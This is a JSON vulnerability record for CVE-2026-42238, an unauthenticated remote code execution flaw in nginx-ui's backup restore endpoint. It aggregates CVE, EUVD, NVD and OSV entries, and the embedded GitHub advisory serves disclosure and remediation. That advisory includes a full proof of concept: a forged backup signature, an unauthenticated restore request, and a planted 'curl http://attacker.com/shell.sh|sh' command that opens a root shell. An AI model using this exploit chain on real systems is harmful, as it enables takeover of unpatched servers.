{"id":"EUVD-2026-27141","revision":null,"records":[{"revision":"448000b190224ad08c7a940409783e28","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-42238","aliases":[],"title":"Unauthenticated Remote Code Execution via Backup Restore in nginx-ui","description":"Nginx UI is a web user interface for the Nginx web server. Prior to version 2.3.8, nginx-ui exposes a backup restore endpoint (POST /api/restore) that is completely unauthenticated during the first 10 minutes after process startup on any fresh installation. An unauthenticated remote attacker can upload a crafted backup archive that overwrites the application's configuration file (app.ini) and SQLite database. Because the attacker controls the restored app.ini, they can inject an arbitrary OS command into the TestConfigCmd setting. After the application automatically restarts to apply the restored config, a single follow-up request triggers that command as the user running nginx-ui — typically root in Docker deployments. This issue has been patched in version 2.3.8.","state":0,"publishedAt":"2026-05-04T20:13:22.196+00:00","modifiedAt":"2026-05-05T15:50:36.447+00:00","affected":[{"ecosystem":"Vendor product","name":"nginx-ui","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"0xJacky\",\n                    \"product\": \"nginx-ui\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.3.8\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":9,"severity":"CRITICAL"}],"references":["https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-4pvg-prr3-9cxr","https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.8"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-42238","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-42238","identifiers":["CVE-2026-42238"]},"retained":false,"historicalAffected":[]},{"revision":"437cfb46b9414e2c9dd0bcf8f2730547","observedAt":"2026-11-07T09:33:06.621+00:00","statement":{"source":"euvd","id":"EUVD-2026-27141","aliases":["CVE-2026-42238"],"title":"Nginx UI is a web user interface for the Nginx web server. Prior to version 2.3.8, nginx-ui exposes a backup restore endpoint (POST /api/restore) that is completely unauthenticated during the first 10 minutes after process startup on any fr…","description":"Nginx UI is a web user interface for the Nginx web server. Prior to version 2.3.8, nginx-ui exposes a backup restore endpoint (POST /api/restore) that is completely unauthenticated during the first 10 minutes after process startup on any fresh installation. An unauthenticated remote attacker can upload a crafted backup archive that overwrites the application's configuration file (app.ini) and SQLite database. Because the attacker controls the restored app.ini, they can inject an arbitrary OS command into the TestConfigCmd setting. After the application automatically restarts to apply the restored config, a single follow-up request triggers that command as the user running nginx-ui — typically root in Docker deployments. This issue has been patched in version 2.3.8.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":9,"severity":null}],"references":["https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-4pvg-prr3-9cxr","https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.8"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-27141","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"May 4, 2026, 8:13:22 PM","dateUpdated":"May 5, 2026, 3:50:36 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-27141","identifiers":["EUVD-2026-27141","CVE-2026-42238"]},"retained":false,"historicalAffected":[]},{"revision":"5e9fea6ee4d34013a44266fd9a166399","observedAt":"2026-10-27T11:12:01.124+00:00","statement":{"source":"nvd","id":"CVE-2026-42238","aliases":[],"title":"Nginx UI is a web user interface for the Nginx web server. Prior to version 2.3.8, nginx-ui exposes a backup restore endpoint (POST /api/restore) that is completely unauthenticated during the first 10 minutes after process startup on any fr…","description":"Nginx UI is a web user interface for the Nginx web server. Prior to version 2.3.8, nginx-ui exposes a backup restore endpoint (POST /api/restore) that is completely unauthenticated during the first 10 minutes after process startup on any fresh installation. An unauthenticated remote attacker can upload a crafted backup archive that overwrites the application's configuration file (app.ini) and SQLite database. Because the attacker controls the restored app.ini, they can inject an arbitrary OS command into the TestConfigCmd setting. After the application automatically restarts to apply the restored config, a single follow-up request triggers that command as the user running nginx-ui — typically root in Docker deployments. This issue has been patched in version 2.3.8.","state":0,"publishedAt":"2026-05-04T21:16:32.707+00:00","modifiedAt":"2026-10-25T23:10:00.167+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":9,"severity":"CRITICAL"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.8","https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-4pvg-prr3-9cxr"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42238","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-94"],"productCriteria":["cpe:2.3:a:nginxui:nginx_ui:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-05-04T21:16:32.707","lastModified":"2026-10-25T23:10:00.167"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-42238","identifiers":["CVE-2026-42238"]},"retained":false,"historicalAffected":[]},{"revision":"1b24fad87e8d4ffe841802be4aff4339","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-4pvg-prr3-9cxr","aliases":["CVE-2026-42238","GO-2026-5129"],"title":"Nginx-UI is Vulnerable to Unauthenticated Remote Code Execution via Backup Restore","description":"**Product:** nginx-ui\n**Repository:** `0xJacky/nginx-ui` (branch: `dev`)\n**Vulnerability Class:** Authentication Bypass → Arbitrary File Write → OS Command Injection\n**Affected Component:** `POST /api/restore`\n\n---\n\n## 1. Vulnerability Summary\n\nnginx-ui exposes a backup restore endpoint (`POST /api/restore`) that is **completely unauthenticated** during the first 10 minutes after process startup on any fresh installation. An unauthenticated remote attacker can upload a crafted backup archive that overwrites the application's configuration file (`app.ini`) and SQLite database. Because the attacker controls the restored `app.ini`, they can inject an arbitrary OS command into the `TestConfigCmd` setting. After the application automatically restarts to apply the restored config, a single follow-up request triggers that command as the user running nginx-ui — typically `root` in Docker deployments.\n\nThe 10-minute unauthenticated window resets on every process restart, making this exploitable not only on initial deployments but on any restart event (container restart, upgrade, health-check-triggered restart).\n\n---\n\n## 2. Root Cause Analysis\n\n### 2.1 The Restore Route Is Registered Without Authentication\n\n`backup.InitRouter` is called on the `root` group, which carries only `IPWhiteList()` middleware — no `AuthRequired()`: [1](#2-0) \n\nThe route definition: [2](#2-1) \n\n### 2.2 The `authIfInstalled` Guard Has a Time-Bounded Bypass\n\nThe only authentication guard on the restore route is `authIfInstalled`: [3](#2-2) \n\nIt calls `AuthRequired()` only when `InstallLockStatus() || IsInstallTimeoutExceeded()` is true. Both conditions are false on a fresh install within the first 10 minutes: [4](#2-3) \n\n- `InstallLockStatus()` returns `false` because `JwtSecret` is `\"\"` on a fresh install and `SkipInstallation` defaults to `false`.\n- `IsInstallTimeoutExceeded()` returns `false` for the first 10 minutes after `startupTime` is set in `init()`.\n\nWhen both are `false`, `authIfInstalled` calls `ctx.Next()` with **zero authentication**.\n\n### 2.3 The `EncryptedForm` Middleware Is Not a Security Barrier\n\nThe `EncryptedForm()` middleware between `authIfInstalled` and `RestoreBackup` is **optional** — it only activates if the request includes an `encrypted_params` field. If that field is absent, it calls `c.Next()` immediately: [5](#2-4) \n\nAn attacker sends a plain `multipart/form-data` request without `encrypted_params` and the middleware is a no-op.\n\n### 2.4 The Attacker Controls the AES Key Used to Verify the Backup\n\nThe restore handler accepts the AES key and IV directly from the attacker via the `security_token` form field: [6](#2-5) \n\nThe manifest integrity check derives its HMAC signing key **from the attacker-supplied AES key**: [7](#2-6) \n\nSince the attacker crafts the backup and supplies the key, they can produce a valid HMAC signature for any manifest content they choose. The integrity check is self-referential and provides no security against a crafted backup.\n\n### 2.5 Restore Overwrites `app.ini` and the SQLite Database Unconditionally\n\nWhen `restore_nginx_ui=true`, `restoreNginxUIConfig` directly copies files from the backup onto disk with no content validation: [8](#2-7) \n\n### 2.6 Restored `TestConfigCmd` Is Executed as a Shell Command\n\nAfter restore, `risefront.Restart()` is called, reloading `app.ini`: [9](#2-8) \n\nOn the next call to `TestConfig()`, the value of `TestConfigCmd` from the restored `app.ini` is passed verbatim to `/bin/sh -c`: [10](#2-9) [11](#2-10) \n\n---\n\n## 3. Attack Prerequisites\n\n| Requirement | Notes |\n|---|---|\n| Network access to nginx-ui port | Default: 9000/tcp |\n| Target is a fresh install | `JwtSecret` is empty in `app.ini` |\n| Within 10 minutes of last process start | Window resets on every restart |\n| IP not blocked by `IPWhiteList` | Default config has no IP whitelist |\n\nThe 10-minute window is not a meaningful mitigation in practice. Docker containers restart frequently due to health checks, upgrades, and orchestrator rescheduling. Any restart resets `startupTime` via `init()`, reopening the window.\n\n---\n\n## 4. Step-by-Step Proof of Concept\n\n### Step 1 — Confirm the installation window is open\n\n```http\nGET /api/install HTTP/1.1\nHost: target:9000\n```\n\nExpected response confirming vulnerability:\n```json\n{\"lock\": false, \"timeout\": false}\n```\n\n### Step 2 — Craft the malicious backup\n\nThe backup format (derived from `internal/backup/backup.go`) is:\n\n```\nbackup-TIMESTAMP.zip          ← outer ZIP (unencrypted)\n├── manifest.json             ← JSON manifest\n├── manifest.sig              ← HMAC-SHA256 of manifest.json\n├── nginx-ui.zip              ← AES-CBC encrypted inner ZIP\n└── nginx.zip                 ← AES-CBC encrypted inner ZIP\n```\n\n**2a.** Generate a random 32-byte AES key and 16-byte IV.\n\n**2b.** Create the malicious `app.ini` to place inside `nginx-ui.zip`:\n\n```ini\n[app]\nJwtSecret = attacker_chosen_jwt_secret_32chars\n\n[node]\nSecret = attacker_chosen_node_secret\n\n[nginx]\nTestConfigCmd = curl http://attacker.com/shell.sh|sh\n```\n\n**2c.** Create a SQLite database (`nginx-ui.db`) with a known bcrypt hash for the admin user (optional — the node secret alone grants full API access).\n\n**2d.** Package `app.ini` and `nginx-ui.db` into `nginx-ui.zip`. Package an empty or minimal `nginx.zip`.\n\n**2e.** Encrypt both ZIPs with AES-256-CBC using your key and IV.\n\n**2f.** Compute SHA-256 hashes and sizes of the encrypted ZIPs. Build `manifest.json`:\n\n```json\n{\n  \"schema\": 1,\n  \"created_at\": \"20260421-120000\",\n  \"version\": \"2.0.0\",\n  \"files\": [\n    {\"name\": \"nginx-ui.zip\", \"sha256\": \"<hash>\", \"size\": <size>},\n    {\"name\": \"nginx.zip\",    \"sha256\": \"<hash>\", \"size\": <size>}\n  ]\n}\n```\n\n**2g.** Compute the HMAC-SHA256 signature of `manifest.json` using the signing key derived as:\n\n```python\nimport hashlib, hmac\ncontext = b\"nginx-ui-backup-signing-v1:\"\nsigning_key = hashlib.sha256(context + aes_key).digest()\nsig = hmac.new(signing_key, manifest_bytes, hashlib.sha256).hexdigest()\n```\n\n**2h.** Assemble the outer ZIP containing `manifest.json`, `manifest.sig`, `nginx-ui.zip`, `nginx.zip`.\n\n### Step 3 — Upload the malicious backup (no authentication required)\n\n```http\nPOST /api/restore HTTP/1.1\nHost: target:9000\nContent-Type: multipart/form-data; boundary=----Boundary\n\n------Boundary\nContent-Disposition: form-data; name=\"backup_file\"; filename=\"evil.zip\"\nContent-Type: application/zip\n\n[crafted backup bytes]\n------Boundary\nContent-Disposition: form-data; name=\"security_token\"\n\n<base64(aes_key)>:<base64(aes_iv)>\n------Boundary\nContent-Disposition: form-data; name=\"restore_nginx_ui\"\n\ntrue\n------Boundary--\n```\n\nExpected response (HTTP 200):\n```json\n{\"nginx_ui_restored\": true, \"nginx_restored\": false, \"hash_match\": true}\n```\n\nnginx-ui calls `risefront.Restart()` 2 seconds later, loading the attacker's `app.ini`.\n\n### Step 4 — Trigger RCE using the restored node secret\n\nAfter the restart (wait ~3 seconds):\n\n```http\nPOST /api/nginx/test HTTP/1.1\nHost: target:9000\nX-Node-Secret: attacker_chosen_node_secret\n```\n\nnginx-ui executes:\n```sh\n/bin/sh -c \"curl http://attacker.com/shell.sh|sh\"\n```\n\nThe attacker now has a reverse shell running as the nginx-ui process user (typically `root` in Docker).\n\n---\n\n## 5. Impact\n\n- **Confidentiality:** Full read access to all nginx configurations, TLS private keys, database contents, and secrets stored in `app.ini`.\n- **Integrity:** Arbitrary modification of all nginx configurations and nginx-ui application state.\n- **Availability:** Complete denial of service; nginx and nginx-ui can be stopped or misconfigured.\n- **Scope:** OS-level code execution. In Docker deployments (the primary distribution method), nginx-ui runs as root, giving the attacker full host access if the container has host mounts or privileged mode.\n\n---\n\n## 6. Affected Versions\n\nAll versions of nginx-ui where `authIfInstalled` is used as the sole authentication guard on `POST /api/restore`. The vulnerability is present in the current `dev` branch.\n\n---\n\n## 7. Recommended Fix\n\n**Primary fix** — Require authentication unconditionally on the restore endpoint. The \"allow restore during initial setup\" design rationale does not justify unauthenticated access to a file-write primitive:\n\n```go\n// api/backup/router.go\nfunc InitRouter(r *gin.RouterGroup) {\n    r.GET(\"/backup\", middleware.AuthRequired(), CreateBackup)\n    r.POST(\"/restore\", middleware.AuthRequired(), middleware.EncryptedForm(), RestoreBackup)\n}\n```\n\nIf restore-during-setup is a required feature, it should be gated on a one-time setup token generated at startup and printed to the server console (similar to how Jenkins handles initial setup), not on a time window.\n\n**Secondary fix** — Validate the content of restored `app.ini` before writing it to disk. Specifically, `TestConfigCmd`, `ReloadCmd`, and `RestartCmd` should be rejected or stripped from any externally-supplied backup.\n\n---\n\n## 8. Timeline\n\n| Date | Event |\n|---|---|\n| 2026-04-21 | Vulnerability identified via source code review |\n| — | Vendor notification (pending) |\n| — | CVE assignment (pending) |\n\n### Citations\n\n**File:** router/routers.go (L61-70)\n```go\n\troot := r.Group(\"/api\", middleware.IPWhiteList())\n\t{\n\t\tpublic.InitRouter(root)\n\t\tcrypto.InitPublicRouter(root)\n\t\tuser.InitAuthRouter(root)\n\t\tlicense.InitRouter(root)\n\n\t\tsystem.InitPublicRouter(root)\n\t\tsystem.InitSelfCheckRouter(root)\n\t\tbackup.InitRouter(root)\n```\n\n**File:** api/backup/router.go (L9-16)\n```go\n// authIfInstalled requires auth if system is installed\nfunc authIfInstalled(ctx *gin.Context) {\n\tif system.InstallLockStatus() || system.IsInstallTimeoutExceeded() {\n\t\tmiddleware.AuthRequired()(ctx)\n\t} else {\n\t\tctx.Next()\n\t}\n}\n```\n\n**File:** api/backup/router.go (L18-25)\n```go\nfunc InitRouter(r *gin.RouterGroup) {\n\t// Backup always requires authentication (contains sensitive data)\n\tr.GET(\"/backup\", middleware.AuthRequired(), CreateBackup)\n\n\t// Restore requires auth only after installation\n\t// This allows restoring backup during initial setup\n\tr.POST(\"/restore\", authIfInstalled, middleware.EncryptedForm(), RestoreBackup)\n}\n```\n\n**File:** api/system/install.go (L27-34)\n```go\nfunc InstallLockStatus() bool {\n\treturn settings.NodeSettings.SkipInstallation || cSettings.AppSettings.JwtSecret != \"\"\n}\n\n// IsInstallTimeoutExceeded checks if installation time limit (10 minutes) is exceeded\nfunc IsInstallTimeoutExceeded() bool {\n\treturn time.Since(startupTime) > 10*time.Minute\n}\n```\n\n**File:** internal/middleware/encrypted_params.go (L69-75)\n```go\n\t\t// Check if encrypted_params field exists\n\t\tencryptedParams := c.Request.FormValue(\"encrypted_params\")\n\t\tif encryptedParams == \"\" {\n\t\t\t// No encryption, continue normally\n\t\t\tc.Next()\n\t\t\treturn\n\t\t}\n```\n\n**File:** api/backup/restore.go (L35-70)\n```go\n\tsecurityToken := c.PostForm(\"security_token\") // Get concatenated key and IV\n\t// Get backup file\n\tbackupFile, err := c.FormFile(\"backup_file\")\n\tif err != nil {\n\t\tcosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrBackupFileNotFound, err.Error()))\n\t\treturn\n\t}\n\n\t// Validate security token\n\tif securityToken == \"\" {\n\t\tcosy.ErrHandler(c, backup.ErrInvalidSecurityToken)\n\t\treturn\n\t}\n\n\t// Split security token to get Key and IV\n\tparts := strings.Split(securityToken, \":\")\n\tif len(parts) != 2 {\n\t\tcosy.ErrHandler(c, backup.ErrInvalidSecurityToken)\n\t\treturn\n\t}\n\n\taesKey := parts[0]\n\taesIv := parts[1]\n\n\t// Decode Key and IV from base64\n\tkey, err := base64.StdEncoding.DecodeString(aesKey)\n\tif err != nil {\n\t\tcosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESKey, err.Error()))\n\t\treturn\n\t}\n\n\tiv, err := base64.StdEncoding.DecodeString(aesIv)\n\tif err != nil {\n\t\tcosy.ErrHandler(c, cosy.WrapErrorWithParams(backup.ErrInvalidAESIV, err.Error()))\n\t\treturn\n\t}\n```\n\n**File:** api/backup/restore.go (L126-132)\n```go\n\tif restoreNginxUI {\n\t\tgo func() {\n\t\t\ttime.Sleep(2 * time.Second)\n\t\t\t// gracefully restart\n\t\t\trisefront.Restart()\n\t\t}()\n\t}\n```\n\n**File:** internal/backup/manifest.go (L156-163)\n```go\nfunc deriveBackupSigningKeyFromAESKey(aesKey []byte) ([]byte, error) {\n\tif len(aesKey) == 0 {\n\t\treturn nil, ErrInvalidAESKey\n\t}\n\n\tsum := sha256.Sum256(append([]byte(manifestKeyContext), aesKey...))\n\treturn sum[:], nil\n}\n```\n\n**File:** internal/backup/restore.go (L458-484)\n```go\n// restoreNginxUIConfig restores nginx-ui configuration files\nfunc restoreNginxUIConfig(nginxUIBackupDir string) error {\n\t// Get config directory\n\tconfigDir := filepath.Dir(cosysettings.ConfPath)\n\tif configDir == \"\" {\n\t\treturn ErrConfigPathEmpty\n\t}\n\n\t// Restore app.ini to the configured location\n\tsrcConfigPath := filepath.Join(nginxUIBackupDir, \"app.ini\")\n\tif err := copyFile(srcConfigPath, cosysettings.ConfPath); err != nil {\n\t\treturn err\n\t}\n\n\t// Restore database file if exists\n\tdbName := settings.DatabaseSettings.GetName()\n\tsrcDBPath := filepath.Join(nginxUIBackupDir, dbName+\".db\")\n\tdestDBPath := filepath.Join(configDir, dbName+\".db\")\n\n\t// Only attempt to copy if database file exists in backup\n\tif _, err := os.Stat(srcDBPath); err == nil {\n\t\tif err := copyFile(srcDBPath, destDBPath); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n```\n\n**File:** internal/nginx/nginx.go (L25-36)\n```go\nfunc TestConfig() (stdOut string, stdErr error) {\n\tmutex.Lock()\n\tdefer mutex.Unlock()\n\tif settings.NginxSettings.TestConfigCmd != \"\" {\n\t\treturn execShell(settings.NginxSettings.TestConfigCmd)\n\t}\n\tsbin := GetSbinPath()\n\tif sbin == \"\" {\n\t\treturn execCommand(\"nginx\", \"-t\")\n\t}\n\treturn execCommand(sbin, \"-t\")\n}\n```\n\n**File:** internal/nginx/exec.go (L12-28)\n```go\nfunc execShell(cmd string) (stdOut string, stdErr error) {\n\tvar execCmd *exec.Cmd\n\n\tif runtime.GOOS == \"windows\" {\n\t\texecCmd = exec.Command(\"cmd\", \"/c\", cmd)\n\t} else {\n\t\texecCmd = exec.Command(\"/bin/sh\", \"-c\", cmd)\n\t}\n\n\texecCmd.Dir = GetNginxExeDir()\n\tbytes, err := execCmd.CombinedOutput()\n\tstdOut = string(bytes)\n\tif err != nil {\n\t\tstdErr = err\n\t}\n\treturn\n}\n```","state":0,"publishedAt":"2026-05-06T17:03:43+00:00","modifiedAt":"2026-06-25T18:56:08.2684299+00:00","affected":[{"ecosystem":"Go","name":"github.com/0xJacky/nginx-ui","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.3.8"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-4pvg-prr3-9cxr","https://nvd.nist.gov/vuln/detail/CVE-2026-42238","https://github.com/0xJacky/nginx-ui","https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.8"],"sourceUrl":"https://github.com/advisories/GHSA-4pvg-prr3-9cxr","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-4pvg-prr3-9cxr","identifiers":["GHSA-4pvg-prr3-9cxr","CVE-2026-42238","GO-2026-5129"]},"retained":false,"historicalAffected":[]},{"revision":"bf084eb7a3de4d9f8e1f115fb86bef3c","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5129","aliases":["CVE-2026-42238","GHSA-4pvg-prr3-9cxr"],"title":"Nginx-UI is Vulnerable to Unauthenticated Remote Code Execution via Backup Restore in github.com/0xJacky/nginx-ui","description":"Nginx-UI is Vulnerable to Unauthenticated Remote Code Execution via Backup Restore in github.com/0xJacky/nginx-ui.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: github.com/0xJacky/nginx-ui before v2.3.8.","state":0,"publishedAt":"2026-06-25T18:26:48+00:00","modifiedAt":"2026-06-25T18:45:23.7474629+00:00","affected":[{"ecosystem":"Go","name":"github.com/0xJacky/nginx-ui","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-4pvg-prr3-9cxr","https://nvd.nist.gov/vuln/detail/CVE-2026-42238","https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.8"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5129","license":"OSV · upstream source license applies","key":"osv:GO-2026-5129","identifiers":["GO-2026-5129","CVE-2026-42238","GHSA-4pvg-prr3-9cxr"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; 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No reader inventory is sent.","generation":"enrichment-191690d52ba04a91b1a2749fa6191ceb","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T20:07:42.8841875+00:00","lastSuccessAt":"2026-11-07T20:07:42.881+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:42.881+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T20:07:23.800032+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:23.800032+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T20:07:23.2420378+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:23.2420378+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T20:07:23.8227715+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:23.8227715+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-07T20:07:23.4659623+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:23.4659623+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}